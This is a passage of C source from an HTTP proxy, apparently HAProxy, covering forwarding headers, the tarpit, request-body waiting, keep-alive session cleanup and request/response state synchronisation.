get_srv_from_appsession(s, req->buf->p + msg->sl.rq.u, msg->sl.rq.u_l);
}
/* add unique-id if "header-unique-id" is specified */
if (!LIST_ISEMPTY(&s->fe->format_unique_id)) {
if ((s->unique_id = pool_alloc2(pool2_uniqueid)) == NULL)
goto return_bad_req;
s->unique_id[0] = '\0';
build_logline(s, s->unique_id, UNIQUEID_LEN, &s->fe->format_unique_id);
}
if (s->fe->header_unique_id && s->unique_id) {
chunk_printf(&trash, "%s: %s", s->fe->header_unique_id, s->unique_id);
if (trash.len < 0)
goto return_bad_req;
if (unlikely(http_header_add_tail2(&txn->req, &txn->hdr_idx, trash.str, trash.len) < 0))
goto return_bad_req;
}
/*
* 9: add X-Forwarded-For if either the frontend or the backend
* asks for it.
*/
if ((s->fe->options | s->be->options) & PR_O_FWDFOR) {
struct hdr_ctx ctx = { .idx = 0 };
if (!((s->fe->options | s->be->options) & PR_O_FF_ALWAYS) &&
http_find_header2(s->be->fwdfor_hdr_len ? s->be->fwdfor_hdr_name : s->fe->fwdfor_hdr_name,
s->be->fwdfor_hdr_len ? s->be->fwdfor_hdr_len : s->fe->fwdfor_hdr_len,
req->buf->p, &txn->hdr_idx, &ctx)) {
/* The header is set to be added only if none is present
* and we found it, so don't do anything.
*/
}
else if (cli_conn && cli_conn->addr.from.ss_family == AF_INET) {
/* Add an X-Forwarded-For header unless the source IP is
* in the 'except' network range.
*/
if ((!s->fe->except_mask.s_addr ||
(((struct sockaddr_in *)&cli_conn->addr.from)->sin_addr.s_addr & s->fe->except_mask.s_addr)
!= s->fe->except_net.s_addr) &&
(!s->be->except_mask.s_addr ||
(((struct sockaddr_in *)&cli_conn->addr.from)->sin_addr.s_addr & s->be->except_mask.s_addr)
!= s->be->except_net.s_addr)) {
int len;
unsigned char *pn;
pn = (unsigned char *)&((struct sockaddr_in *)&cli_conn->addr.from)->sin_addr;
/* Note: we rely on the backend to get the header name to be used for
* x-forwarded-for, because the header is really meant for the backends.
* However, if the backend did not specify any option, we have to rely
* on the frontend's header name.
*/
if (s->be->fwdfor_hdr_len) {
len = s->be->fwdfor_hdr_len;
memcpy(trash.str, s->be->fwdfor_hdr_name, len);
} else {
len = s->fe->fwdfor_hdr_len;
memcpy(trash.str, s->fe->fwdfor_hdr_name, len);
}
len += snprintf(trash.str + len, trash.size - len, ": %d.%d.%d.%d", pn[0], pn[1], pn[2], pn[3]);
if (unlikely(http_header_add_tail2(&txn->req, &txn->hdr_idx, trash.str, len) < 0))
goto return_bad_req;
}
}
else if (cli_conn && cli_conn->addr.from.ss_family == AF_INET6) {
/* FIXME: for the sake of completeness, we should also support
* 'except' here, although it is mostly useless in this case.
*/
int len;
char pn[INET6_ADDRSTRLEN];
inet_ntop(AF_INET6,
(const void *)&((struct sockaddr_in6 *)(&cli_conn->addr.from))->sin6_addr,
pn, sizeof(pn));
/* Note: we rely on the backend to get the header name to be used for
* x-forwarded-for, because the header is really meant for the backends.
* However, if the backend did not specify any option, we have to rely
* on the frontend's header name.
*/
if (s->be->fwdfor_hdr_len) {
len = s->be->fwdfor_hdr_len;
memcpy(trash.str, s->be->fwdfor_hdr_name, len);
} else {
len = s->fe->fwdfor_hdr_len;
memcpy(trash.str, s->fe->fwdfor_hdr_name, len);
}
len += snprintf(trash.str + len, trash.size - len, ": %s", pn);
if (unlikely(http_header_add_tail2(&txn->req, &txn->hdr_idx, trash.str, len) < 0))
goto return_bad_req;
}
}
/*
* 10: add X-Original-To if either the frontend or the backend
* asks for it.
*/
if ((s->fe->options | s->be->options) & PR_O_ORGTO) {
/* FIXME: don't know if IPv6 can handle that case too. */
if (cli_conn && cli_conn->addr.from.ss_family == AF_INET) {
/* Add an X-Original-To header unless the destination IP is
* in the 'except' network range.
*/
conn_get_to_addr(cli_conn);
if (cli_conn->addr.to.ss_family == AF_INET &&
((!s->fe->except_mask_to.s_addr ||
(((struct sockaddr_in *)&cli_conn->addr.to)->sin_addr.s_addr & s->fe->except_mask_to.s_addr)
!= s->fe->except_to.s_addr) &&
(!s->be->except_mask_to.s_addr ||
(((struct sockaddr_in *)&cli_conn->addr.to)->sin_addr.s_addr & s->be->except_mask_to.s_addr)
!= s->be->except_to.s_addr))) {
int len;
unsigned char *pn;
pn = (unsigned char *)&((struct sockaddr_in *)&cli_conn->addr.to)->sin_addr;
/* Note: we rely on the backend to get the header name to be used for
* x-original-to, because the header is really meant for the backends.
* However, if the backend did not specify any option, we have to rely
* on the frontend's header name.
*/
if (s->be->orgto_hdr_len) {
len = s->be->orgto_hdr_len;
memcpy(trash.str, s->be->orgto_hdr_name, len);
} else {
len = s->fe->orgto_hdr_len;
memcpy(trash.str, s->fe->orgto_hdr_name, len);
}
len += snprintf(trash.str + len, trash.size - len, ": %d.%d.%d.%d", pn[0], pn[1], pn[2], pn[3]);
if (unlikely(http_header_add_tail2(&txn->req, &txn->hdr_idx, trash.str, len) < 0))
goto return_bad_req;
}
}
}
/* 11: add "Connection: close" or "Connection: keep-alive" if needed and not yet set.
* If an "Upgrade" token is found, the header is left untouched in order not to have
* to deal with some servers bugs : some of them fail an Upgrade if anything but
* "Upgrade" is present in the Connection header.
*/
if (!(txn->flags & TX_HDR_CONN_UPG) &&
(((txn->flags & TX_CON_WANT_MSK) != TX_CON_WANT_TUN) ||
((s->fe->options & PR_O_HTTP_MODE) == PR_O_HTTP_PCL ||
(s->be->options & PR_O_HTTP_MODE) == PR_O_HTTP_PCL))) {
unsigned int want_flags = 0;
if (msg->flags & HTTP_MSGF_VER_11) {
if (((txn->flags & TX_CON_WANT_MSK) >= TX_CON_WANT_SCL ||
((s->fe->options & PR_O_HTTP_MODE) == PR_O_HTTP_PCL ||
(s->be->options & PR_O_HTTP_MODE) == PR_O_HTTP_PCL)) &&
!((s->fe->options2|s->be->options2) & PR_O2_FAKE_KA))
want_flags |= TX_CON_CLO_SET;
} else {
if (((txn->flags & TX_CON_WANT_MSK) == TX_CON_WANT_KAL &&
((s->fe->options & PR_O_HTTP_MODE) != PR_O_HTTP_PCL &&
(s->be->options & PR_O_HTTP_MODE) != PR_O_HTTP_PCL)) ||
((s->fe->options2|s->be->options2) & PR_O2_FAKE_KA))
want_flags |= TX_CON_KAL_SET;
}
if (want_flags != (txn->flags & (TX_CON_CLO_SET|TX_CON_KAL_SET)))
http_change_connection_header(txn, msg, want_flags);
}
/* If we have no server assigned yet and we're balancing on url_param
* with a POST request, we may be interested in checking the body for
* that parameter. This will be done in another analyser.
*/
if (!(s->flags & (SN_ASSIGNED|SN_DIRECT)) &&
s->txn.meth == HTTP_METH_POST && s->be->url_param_name != NULL &&
(msg->flags & (HTTP_MSGF_CNT_LEN|HTTP_MSGF_TE_CHNK))) {
channel_dont_connect(req);
req->analysers |= AN_REQ_HTTP_BODY;
}
if (msg->flags & HTTP_MSGF_XFER_LEN) {
req->analysers |= AN_REQ_HTTP_XFER_BODY;
#ifdef TCP_QUICKACK
/* We expect some data from the client. Unless we know for sure
* we already have a full request, we have to re-enable quick-ack
* in case we previously disabled it, otherwise we might cause
* the client to delay further data.
*/
if ((s->listener->options & LI_O_NOQUICKACK) &&
cli_conn && conn_ctrl_ready(cli_conn) &&
((msg->flags & HTTP_MSGF_TE_CHNK) ||
(msg->body_len > req->buf->i - txn->req.eoh - 2)))
setsockopt(cli_conn->t.sock.fd, IPPROTO_TCP, TCP_QUICKACK, &one, sizeof(one));
#endif
}
/*************************************************************
* OK, that's finished for the headers. We have done what we *
* could. Let's switch to the DATA state. *
************************************************************/
req->analyse_exp = TICK_ETERNITY;
req->analysers &= ~an_bit;
/* if the server closes the connection, we want to immediately react
* and close the socket to save packets and syscalls.
*/
if (!(req->analysers & AN_REQ_HTTP_XFER_BODY))
req->cons->flags |= SI_FL_NOHALF;
s->logs.tv_request = now;
/* OK let's go on with the BODY now */
return 1;
return_bad_req: /* let's centralize all bad requests */
if (unlikely(msg->msg_state == HTTP_MSG_ERROR) || msg->err_pos >= 0) {
/* we detected a parsing error. We want to archive this request
* in the dedicated proxy area for later troubleshooting.
*/
http_capture_bad_message(&s->fe->invalid_req, s, msg, msg->msg_state, s->fe);
}
txn->req.msg_state = HTTP_MSG_ERROR;
txn->status = 400;
req->analysers = 0;
stream_int_retnclose(req->prod, http_error_message(s, HTTP_ERR_400));
s->fe->fe_counters.failed_req++;
if (s->listener->counters)
s->listener->counters->failed_req++;
if (!(s->flags & SN_ERR_MASK))
s->flags |= SN_ERR_PRXCOND;
if (!(s->flags & SN_FINST_MASK))
s->flags |= SN_FINST_R;
return 0;
}
/* This function is an analyser which processes the HTTP tarpit. It always
* returns zero, at the beginning because it prevents any other processing
* from occurring, and at the end because it terminates the request.
*/
int http_process_tarpit(struct session *s, struct channel *req, int an_bit)
{
struct http_txn *txn = &s->txn;
/* This connection is being tarpitted. The CLIENT side has
* already set the connect expiration date to the right
* timeout. We just have to check that the client is still
* there and that the timeout has not expired.
*/
channel_dont_connect(req);
if ((req->flags & (CF_SHUTR|CF_READ_ERROR)) == 0 &&
!tick_is_expired(req->analyse_exp, now_ms))
return 0;
/* We will set the queue timer to the time spent, just for
* logging purposes. We fake a 500 server error, so that the
* attacker will not suspect his connection has been tarpitted.
* It will not cause trouble to the logs because we can exclude
* the tarpitted connections by filtering on the 'PT' status flags.
*/
s->logs.t_queue = tv_ms_elapsed(&s->logs.tv_accept, &now);
txn->status = 500;
if (!(req->flags & CF_READ_ERROR))
stream_int_retnclose(req->prod, http_error_message(s, HTTP_ERR_500));
req->analysers = 0;
req->analyse_exp = TICK_ETERNITY;
if (!(s->flags & SN_ERR_MASK))
s->flags |= SN_ERR_PRXCOND;
if (!(s->flags & SN_FINST_MASK))
s->flags |= SN_FINST_T;
return 0;
}
/* This function is an analyser which waits for the HTTP request body. It waits
* for either the buffer to be full, or the full advertised contents to have
* reached the buffer. It must only be called after the standard HTTP request
* processing has occurred, because it expects the request to be parsed and will
* look for the Expect header. It may send a 100-Continue interim response. It
* takes in input any state starting from HTTP_MSG_BODY and leaves with one of
* HTTP_MSG_CHK_SIZE, HTTP_MSG_DATA or HTTP_MSG_TRAILERS. It returns zero if it
* needs to read more data, or 1 once it has completed its analysis.
*/
int http_wait_for_request_body(struct session *s, struct channel *req, int an_bit)
{
struct http_txn *txn = &s->txn;
struct http_msg *msg = &s->txn.req;
/* We have to parse the HTTP request body to find any required data.
* "balance url_param check_post" should have been the only way to get
* into this. We were brought here after HTTP header analysis, so all
* related structures are ready.
*/
if (msg->msg_state < HTTP_MSG_CHUNK_SIZE) {
/* This is the first call */
if (msg->msg_state < HTTP_MSG_BODY)
goto missing_data;
if (msg->msg_state < HTTP_MSG_100_SENT) {
/* If we have HTTP/1.1 and Expect: 100-continue, then we must
* send an HTTP/1.1 100 Continue intermediate response.
*/
if (msg->flags & HTTP_MSGF_VER_11) {
struct hdr_ctx ctx;
ctx.idx = 0;
/* Expect is allowed in 1.1, look for it */
if (http_find_header2("Expect", 6, req->buf->p, &txn->hdr_idx, &ctx) &&
unlikely(ctx.vlen == 12 && strncasecmp(ctx.line+ctx.val, "100-continue", 12) == 0)) {
bo_inject(s->rep, http_100_chunk.str, http_100_chunk.len);
}
}
msg->msg_state = HTTP_MSG_100_SENT;
}
/* we have msg->sov which points to the first byte of message body.
* req->buf->p still points to the beginning of the message. We
* must save the body in msg->next because it survives buffer
* re-alignments.
*/
msg->next = msg->sov;
if (msg->flags & HTTP_MSGF_TE_CHNK)
msg->msg_state = HTTP_MSG_CHUNK_SIZE;
else
msg->msg_state = HTTP_MSG_DATA;
}
if (!(msg->flags & HTTP_MSGF_TE_CHNK)) {
/* We're in content-length mode, we just have to wait for enough data. */
if (req->buf->i - msg->sov < msg->body_len)
goto missing_data;
/* OK we have everything we need now */
goto http_end;
}
/* OK here we're parsing a chunked-encoded message */
if (msg->msg_state == HTTP_MSG_CHUNK_SIZE) {
/* read the chunk size and assign it to ->chunk_len, then
* set ->sov and ->next to point to the body and switch to DATA or
* TRAILERS state.
*/
int ret = http_parse_chunk_size(msg);
if (!ret)
goto missing_data;
else if (ret < 0) {
session_inc_http_err_ctr(s);
goto return_bad_req;
}
}
/* Now we're in HTTP_MSG_DATA or HTTP_MSG_TRAILERS state.
* We have the first data byte is in msg->sov. We're waiting for at
* least a whole chunk or the whole content length bytes after msg->sov.
*/
if (msg->msg_state == HTTP_MSG_TRAILERS)
goto http_end;
if (req->buf->i - msg->sov >= msg->body_len) /* we have enough bytes now */
goto http_end;
missing_data:
/* we get here if we need to wait for more data. If the buffer is full,
* we have the maximum we can expect.
*/
if (buffer_full(req->buf, global.tune.maxrewrite))
goto http_end;
if ((req->flags & CF_READ_TIMEOUT) || tick_is_expired(req->analyse_exp, now_ms)) {
txn->status = 408;
stream_int_retnclose(req->prod, http_error_message(s, HTTP_ERR_408));
if (!(s->flags & SN_ERR_MASK))
s->flags |= SN_ERR_CLITO;
if (!(s->flags & SN_FINST_MASK))
s->flags |= SN_FINST_D;
goto return_err_msg;
}
/* we get here if we need to wait for more data */
if (!(req->flags & (CF_SHUTR | CF_READ_ERROR))) {
/* Not enough data. We'll re-use the http-request
* timeout here. Ideally, we should set the timeout
* relative to the accept() date. We just set the
* request timeout once at the beginning of the
* request.
*/
channel_dont_connect(req);
if (!tick_isset(req->analyse_exp))
req->analyse_exp = tick_add_ifset(now_ms, s->be->timeout.httpreq);
return 0;
}
http_end:
/* The situation will not evolve, so let's give up on the analysis. */
s->logs.tv_request = now; /* update the request timer to reflect full request */
req->analysers &= ~an_bit;
req->analyse_exp = TICK_ETERNITY;
return 1;
return_bad_req: /* let's centralize all bad requests */
txn->req.msg_state = HTTP_MSG_ERROR;
txn->status = 400;
stream_int_retnclose(req->prod, http_error_message(s, HTTP_ERR_400));
if (!(s->flags & SN_ERR_MASK))
s->flags |= SN_ERR_PRXCOND;
if (!(s->flags & SN_FINST_MASK))
s->flags |= SN_FINST_R;
return_err_msg:
req->analysers = 0;
s->fe->fe_counters.failed_req++;
if (s->listener->counters)
s->listener->counters->failed_req++;
return 0;
}
/* send a server's name with an outgoing request over an established connection.
* Note: this function is designed to be called once the request has been scheduled
* for being forwarded. This is the reason why it rewinds the buffer before
* proceeding.
*/
int http_send_name_header(struct http_txn *txn, struct proxy* be, const char* srv_name) {
struct hdr_ctx ctx;
char *hdr_name = be->server_id_hdr_name;
int hdr_name_len = be->server_id_hdr_len;
struct channel *chn = txn->req.chn;
char *hdr_val;
unsigned int old_o, old_i;
ctx.idx = 0;
old_o = http_hdr_rewind(&txn->req);
if (old_o) {
/* The request was already skipped, let's restore it */
b_rew(chn->buf, old_o);
txn->req.next += old_o;
txn->req.sov += old_o;
}
old_i = chn->buf->i;
while (http_find_header2(hdr_name, hdr_name_len, txn->req.chn->buf->p, &txn->hdr_idx, &ctx)) {
/* remove any existing values from the header */
http_remove_header2(&txn->req, &txn->hdr_idx, &ctx);
}
/* Add the new header requested with the server value */
hdr_val = trash.str;
memcpy(hdr_val, hdr_name, hdr_name_len);
hdr_val += hdr_name_len;
*hdr_val++ = ':';
*hdr_val++ = ' ';
hdr_val += strlcpy2(hdr_val, srv_name, trash.str + trash.size - hdr_val);
http_header_add_tail2(&txn->req, &txn->hdr_idx, trash.str, hdr_val - trash.str);
if (old_o) {
/* If this was a forwarded request, we must readjust the amount of
* data to be forwarded in order to take into account the size
* variations. Note that the current state is >= HTTP_MSG_BODY,
* so we don't have to adjust ->sol.
*/
old_o += chn->buf->i - old_i;
b_adv(chn->buf, old_o);
txn->req.next -= old_o;
txn->req.sov -= old_o;
}
return 0;
}
/* Terminate current transaction and prepare a new one. This is very tricky
* right now but it works.
*/
void http_end_txn_clean_session(struct session *s)
{
int prev_status = s->txn.status;
/* FIXME: We need a more portable way of releasing a backend's and a
* server's connections. We need a safer way to reinitialize buffer
* flags. We also need a more accurate method for computing per-request
* data.
*/
/* unless we're doing keep-alive, we want to quickly close the connection
* to the server.
*/
if (((s->txn.flags & TX_CON_WANT_MSK) != TX_CON_WANT_KAL) ||
!si_conn_ready(s->req->cons)) {
s->req->cons->flags |= SI_FL_NOLINGER | SI_FL_NOHALF;
si_shutr(s->req->cons);
si_shutw(s->req->cons);
}
if (s->flags & SN_BE_ASSIGNED) {
s->be->beconn--;
if (unlikely(s->srv_conn))
sess_change_server(s, NULL);
}
s->logs.t_close = tv_ms_elapsed(&s->logs.tv_accept, &now);
session_process_counters(s);
if (s->txn.status) {
int n;
n = s->txn.status / 100;
if (n < 1 || n > 5)
n = 0;
if (s->fe->mode == PR_MODE_HTTP) {
s->fe->fe_counters.p.http.rsp[n]++;
if (s->comp_algo && (s->flags & SN_COMP_READY))
s->fe->fe_counters.p.http.comp_rsp++;
}
if ((s->flags & SN_BE_ASSIGNED) &&
(s->be->mode == PR_MODE_HTTP)) {
s->be->be_counters.p.http.rsp[n]++;
s->be->be_counters.p.http.cum_req++;
if (s->comp_algo && (s->flags & SN_COMP_READY))
s->be->be_counters.p.http.comp_rsp++;
}
}
/* don't count other requests' data */
s->logs.bytes_in -= s->req->buf->i;
s->logs.bytes_out -= s->rep->buf->i;
/* let's do a final log if we need it */
if (!LIST_ISEMPTY(&s->fe->logformat) && s->logs.logwait &&
!(s->flags & SN_MONITOR) &&
(!(s->fe->options & PR_O_NULLNOLOG) || s->req->total)) {
s->do_log(s);
}
/* stop tracking content-based counters */
session_stop_content_counters(s);
session_update_time_stats(s);
s->logs.accept_date = date; /* user-visible date for logging */
s->logs.tv_accept = now; /* corrected date for internal use */
tv_zero(&s->logs.tv_request);
s->logs.t_queue = -1;
s->logs.t_connect = -1;
s->logs.t_data = -1;
s->logs.t_close = 0;
s->logs.prx_queue_size = 0; /* we get the number of pending conns before us */
s->logs.srv_queue_size = 0; /* we will get this number soon */
s->logs.bytes_in = s->req->total = s->req->buf->i;
s->logs.bytes_out = s->rep->total = s->rep->buf->i;
if (s->pend_pos)
pendconn_free(s->pend_pos);
if (objt_server(s->target)) {
if (s->flags & SN_CURR_SESS) {
s->flags &= ~SN_CURR_SESS;
objt_server(s->target)->cur_sess--;
}
if (may_dequeue_tasks(objt_server(s->target), s->be))
process_srv_queue(objt_server(s->target));
}
s->target = NULL;
/* only release our endpoint if we don't intend to reuse the
* connection.
*/
if (((s->txn.flags & TX_CON_WANT_MSK) != TX_CON_WANT_KAL) ||
!si_conn_ready(s->req->cons)) {
si_release_endpoint(s->req->cons);
}
s->req->cons->state = s->req->cons->prev_state = SI_ST_INI;
s->req->cons->err_type = SI_ET_NONE;
s->req->cons->conn_retries = 0; /* used for logging too */
s->req->cons->exp = TICK_ETERNITY;
s->req->cons->flags &= SI_FL_DONT_WAKE; /* we're in the context of process_session */
s->req->flags &= ~(CF_SHUTW|CF_SHUTW_NOW|CF_AUTO_CONNECT|CF_WRITE_ERROR|CF_STREAMER|CF_STREAMER_FAST|CF_NEVER_WAIT|CF_WAKE_CONNECT|CF_WROTE_DATA);
s->rep->flags &= ~(CF_SHUTR|CF_SHUTR_NOW|CF_READ_ATTACHED|CF_READ_ERROR|CF_READ_NOEXP|CF_STREAMER|CF_STREAMER_FAST|CF_WRITE_PARTIAL|CF_NEVER_WAIT|CF_WROTE_DATA);
s->flags &= ~(SN_DIRECT|SN_ASSIGNED|SN_ADDR_SET|SN_BE_ASSIGNED|SN_FORCE_PRST|SN_IGNORE_PRST);
s->flags &= ~(SN_CURR_SESS|SN_REDIRECTABLE|SN_SRV_REUSED);
s->flags &= ~(SN_ERR_MASK|SN_FINST_MASK|SN_REDISP);
s->txn.meth = 0;
http_reset_txn(s);
s->txn.flags |= TX_NOT_FIRST | TX_WAIT_NEXT_RQ;
if (prev_status == 401 || prev_status == 407) {
/* In HTTP keep-alive mode, if we receive a 401, we still have
* a chance of being able to send the visitor again to the same
* server over the same connection. This is required by some
* broken protocols such as NTLM, and anyway whenever there is
* an opportunity for sending the challenge to the proper place,
* it's better to do it (at least it helps with debugging).
*/
s->txn.flags |= TX_PREFER_LAST;
}
if (s->fe->options2 & PR_O2_INDEPSTR)
s->req->cons->flags |= SI_FL_INDEP_STR;
if (s->fe->options2 & PR_O2_NODELAY) {
s->req->flags |= CF_NEVER_WAIT;
s->rep->flags |= CF_NEVER_WAIT;
}
/* if the request buffer is not empty, it means we're
* about to process another request, so send pending
* data with MSG_MORE to merge TCP packets when possible.
* Just don't do this if the buffer is close to be full,
* because the request will wait for it to flush a little
* bit before proceeding.
*/
if (s->req->buf->i) {
if (s->rep->buf->o &&
!buffer_full(s->rep->buf, global.tune.maxrewrite) &&
bi_end(s->rep->buf) <= s->rep->buf->data + s->rep->buf->size - global.tune.maxrewrite)
s->rep->flags |= CF_EXPECT_MORE;
}
/* we're removing the analysers, we MUST re-enable events detection */
channel_auto_read(s->req);
channel_auto_close(s->req);
channel_auto_read(s->rep);
channel_auto_close(s->rep);
/* we're in keep-alive with an idle connection, monitor it */
si_idle_conn(s->req->cons);
s->req->analysers = s->listener->analysers;
s->rep->analysers = 0;
}
/* This function updates the request state machine according to the response
* state machine and buffer flags. It returns 1 if it changes anything (flag
* or state), otherwise zero. It ignores any state before HTTP_MSG_DONE, as
* it is only used to find when a request/response couple is complete. Both
* this function and its equivalent should loop until both return zero. It
* can set its own state to DONE, CLOSING, CLOSED, TUNNEL, ERROR.
*/
int http_sync_req_state(struct session *s)
{
struct channel *chn = s->req;
struct http_txn *txn = &s->txn;
unsigned int old_flags = chn->flags;
unsigned int old_state = txn->req.msg_state;
if (unlikely(txn->req.msg_state < HTTP_MSG_BODY))
return 0;
if (txn->req.msg_state == HTTP_MSG_DONE) {
/* No need to read anymore, the request was completely parsed.
* We can shut the read side unless we want to abort_on_close,
* or we have a POST request. The issue with POST requests is
* that some browsers still send a CRLF after the request, and
* this CRLF must be read so that it does not remain in the kernel
* buffers, otherwise a close could cause an RST on some systems
* (eg: Linux).
* Note that if we're using keep-alive on the client side, we'd
* rather poll now and keep the polling enabled for the whole
* session's life than enabling/disabling it between each
* response and next request.
*/
if (((txn->flags & TX_CON_WANT_MSK) != TX_CON_WANT_SCL) &&
((txn->flags & TX_CON_WANT_MSK) != TX_CON_WANT_KAL) &&
!(s->be->options & PR_O_ABRT_CLOSE) &&
txn->meth != HTTP_METH_POST)
channel_dont_read(chn);
/* if the server closes the connection, we want to immediately react
* and close the socket to save packets and syscalls.
*/
chn->cons->flags |= SI_FL_NOHALF;
if (txn->rsp.msg_state == HTTP_MSG_ERROR)
goto wait_other_side;
if (txn->rsp.msg_state < HTTP_MSG_DONE) {
/* The server has not finished to respond, so we
* don't want to move in order not to upset it.
*/
goto wait_other_side;
}
if (txn->rsp.msg_state == HTTP_MSG_TUNNEL) {
/* if any side switches to tunnel mode, the other one does too */
channel_auto_read(chn);
txn->req.msg_state = HTTP_MSG_TUNNEL;
chn->flags |= CF_NEVER_WAIT;
goto wait_other_side;
}
/* When we get here, it means that both the request and the
* response have finished receiving. Depending on the connection
* mode, we'll have to wait for the last bytes to leave in either
* direction, and sometimes for a close to be effective.
*/
if ((txn->flags & TX_CON_WANT_MSK) == TX_CON_WANT_SCL) {
/* Server-close mode : queue a connection close to the server */
if (!(chn->flags & (CF_SHUTW|CF_SHUTW_NOW)))
channel_shutw_now(chn);
}
else if ((txn->flags & TX_CON_WANT_MSK) == TX_CON_WANT_CLO) {
/* Option forceclose is set, or either side wants to close,
* let's enforce it now that we're not expecting any new
* data to come. The caller knows the session is complete
* once both states are CLOSED.
*/
if (!(chn->flags & (CF_SHUTW|CF_SHUTW_NOW))) {
channel_shutr_now(chn);
channel_shutw_now(chn);
}
}
else {
/* The last possible modes are keep-alive and tunnel. Tunnel mode
* will not have any analyser so it needs to poll for reads.
*/
if ((txn->flags & TX_CON_WANT_MSK) == TX_CON_WANT_TUN) {
channel_auto_read(chn);
txn->req.msg_state = HTTP_MSG_TUNNEL;
chn->flags |= CF_NEVER_WAIT;
}
}
if (chn->flags & (CF_SHUTW|CF_SHUTW_NOW)) {
/* if we've just closed an output, let's switch */
chn->cons->flags |= SI_FL_NOLINGER; /* we want to close ASAP */
if (!channel_is_empty(chn)) {
txn->req.msg_state = HTTP_MSG_CLOSING;
goto http_msg_closing;
}
else {
txn->req.msg_state = HTTP_MSG_CLOSED;
goto http_msg_closed;
}
}
goto wait_other_side;
}
if (txn->req.msg_state == HTTP_MSG_CLOSING) {
http_msg_closing:
/* nothing else to forward, just waiting for the output buffer
* to be empty and for the shutw_now to take effect.
*/
if (channel_is_empty(chn)) {
txn->req.msg_state = HTTP_MSG_CLOSED;
goto http_msg_closed;
}
else if (chn->flags & CF_SHUTW) {
txn->req.msg_state = HTTP_MSG_ERROR;
goto wait_other_side;
}
}
if (txn->req.msg_state == HTTP_MSG_CLOSED) {
http_msg_closed:
/* see above in MSG_DONE why we only do this in these states */
if (((txn->flags & TX_CON_WANT_MSK) != TX_CON_WANT_SCL) &&
((txn->flags & TX_CON_WANT_MSK) != TX_CON_WANT_KAL) &&
!(s->be->options & PR_O_ABRT_CLOSE))
channel_dont_read(chn);
goto wait_other_side;
}
wait_other_side:
return txn->req.msg_state != old_state || chn->flags != old_flags;
}
/* This function updates the response state machine according to the request
* state machine and buffer flags. It returns 1 if it changes anything (flag
* or state), otherwise zero. It ignores any state before HTTP_MSG_DONE, as
* it is only used to find when a request/response couple is complete. Both
* this function and its equivalent should loop until both return zero. It
* can set its own state to DONE, CLOSING, CLOSED, TUNNEL, ERROR.
*/
int http_sync_res_state(struct session *s)
{
struct channel *chn = s->rep;
struct http_txn *txn = &s->txn;
unsigned int old_flags = chn->flags;
unsigned int old_state = txn->rsp.msg_state;
if (unlikely(txn->rsp.msg_state < HTTP_MSG_BODY))
return 0;
if (txn->rsp.msg_state == HTTP_MSG_DONE) {
/* In theory, we don't need to read anymore, but we must
* still monitor the server connection for a possible close
* while the request is being uploaded, so we don't disable
* reading.
*/
/* channel_dont_read(chn); */
if (txn->req.msg_state == HTTP_MSG_ERROR)
goto wait_other_side;
if (txn->req.msg_state < HTTP_MSG_DONE) {
/* The client seems to still be sending data, probably
* because we got an error response during an upload.
* We have the choice of either breaking the connection
* or letting it pass through. Let's do the later.
*/
goto wait_other_side;
}
if (txn->req.msg_state == HTTP_MSG_TUNNEL) {
/* if any side switches to tunnel mode, the other one does too */
channel_auto_read(chn);
txn->rsp.msg_state = HTTP_MSG_TUNNEL;
chn->flags |= CF_NEVER_WAIT;
goto wait_other_side;
}
/* When we get here, it means that both the request and the
* response have finished receiving. Depending on the connection
* mode, we'll have to wait for the last bytes to leave in either
* direction, and sometimes for a close to be effective.
*/
if ((txn->flags & TX_CON_WANT_MSK) == TX_CON_WANT_SCL) {
/* Server-close mode : shut read and wait for the request
* side to close its output buffer. The caller will detect
* when we're in DONE and the other is in CLOSED and will
* catch that for the final cleanup.
*/
if (!(chn->flags & (CF_SHUTR|CF_SHUTR_NOW)))
channel_shutr_now(chn);
}
else if ((txn->flags & TX_CON_WANT_MSK) == TX_CON_WANT_CLO) {
/* Option forceclose is set, or either side wants to close,
* let's enforce it now that we're not expecting any new
* data to come. The caller knows the session is complete
* once both states are CLOSED.
*/
if (!(chn->flags & (CF_SHUTW|CF_SHUTW_NOW))) {
channel_shutr_now(chn);
channel_shutw_now(chn);
}
}
else {
/* The last possible modes are keep-alive and tunnel. Tunnel will
* need to forward remaining data. Keep-alive will need to monitor
* for connection closing.
*/
channel_auto_read(chn);
chn->flags |= CF_NEVER_WAIT;
if ((txn->flags & TX_CON_WANT_MSK) == TX_CON_WANT_TUN)
txn->rsp.msg_state = HTTP_MSG_TUNNEL;
}
if (chn->flags & (CF_SHUTW|CF_SHUTW_NOW)) {
/* if we've just closed an output, let's switch */
if (!channel_is_empty(chn)) {
txn->rsp.msg_state = HTTP_MSG_CLOSING;
goto http_msg_closing;
}
else {
txn->rsp.msg_state = HTTP_MSG_CLOSED;
goto http_msg_closed;
}
}
goto wait_other_side;
}
if (txn->rsp.msg_state == HTTP_MSG_CLOSING) {
http_msg_closing:
/* nothing else to forward, just waiting for the output buffer
* to be empty and for the shutw_now to take effect.
*/
if (channel_is_empty(chn)) {
txn->rsp.msg_state = HTTP_MSG_CLOSED;
goto http_msg_closed;
}
else if (chn->flags & CF_SHUTW) {
txn->rsp.msg_state = HTTP_MSG_ERROR;
s->be->be_counters.cli_aborts++;
if (objt_server(s->target))
objt_server(s->target)->counters.cli_aborts++;
goto wait_other_side;
}
}
if (txn->rsp.msg_state == HTTP_MSG_CLOSED) {
http_msg_closed:
/* drop any pending data */
bi_erase(chn);
channel_auto_close(chn);
channel_auto_read(chn);
goto wait_other_side;
}
wait_other_side:
/* We force the response to leave immediately if we're waiting for the
* other side, since there is no pending shutdown to push it out.
*/
if (!channel_is_empty(chn))
chn->flags |= CF_SEND_DONTWAIT;
return txn->rsp.msg_state != old_state || chn->flags != old_flags;
}
/* Resync the request and response state machines. Return 1 if either state
* changes.
*/
int http_resync_states(struct session *s)
{
struct http_txn *txn = &s->txn;
int old_req_state = txn->req.msg_state;
int old_res_state = txn->rsp.msg_state;
http_sync_req_state(s);
while (1) {
if (!http_sync_res_state(s))
break;
if (!http_sync_req_state(s))
break;
}
/* OK, both state machines agree on a compatible state.
* There are a few cases we're interested in :
* - HTTP_MSG_TUNNEL on either means we have to disable both analysers
* - HTTP_MSG_CLOSED on both sides means we've reached the end in both
* directions, so let's simply disable both analysers.
* - HTTP_MSG_CLOSED on the response only means we must abort the
* request.
* - HTTP_MSG_CLOSED on the request and HTTP_MSG_DONE on the response
* with server-close mode means we've completed one request and we
* must re-initialize the server connection.
*/
if (txn->req.msg_state == HTTP_MSG_TUNNEL ||
txn->rsp.msg_state == HTTP_MSG_TUNNEL ||
(txn->req.msg_state == HTTP_MSG_CLOSED &&
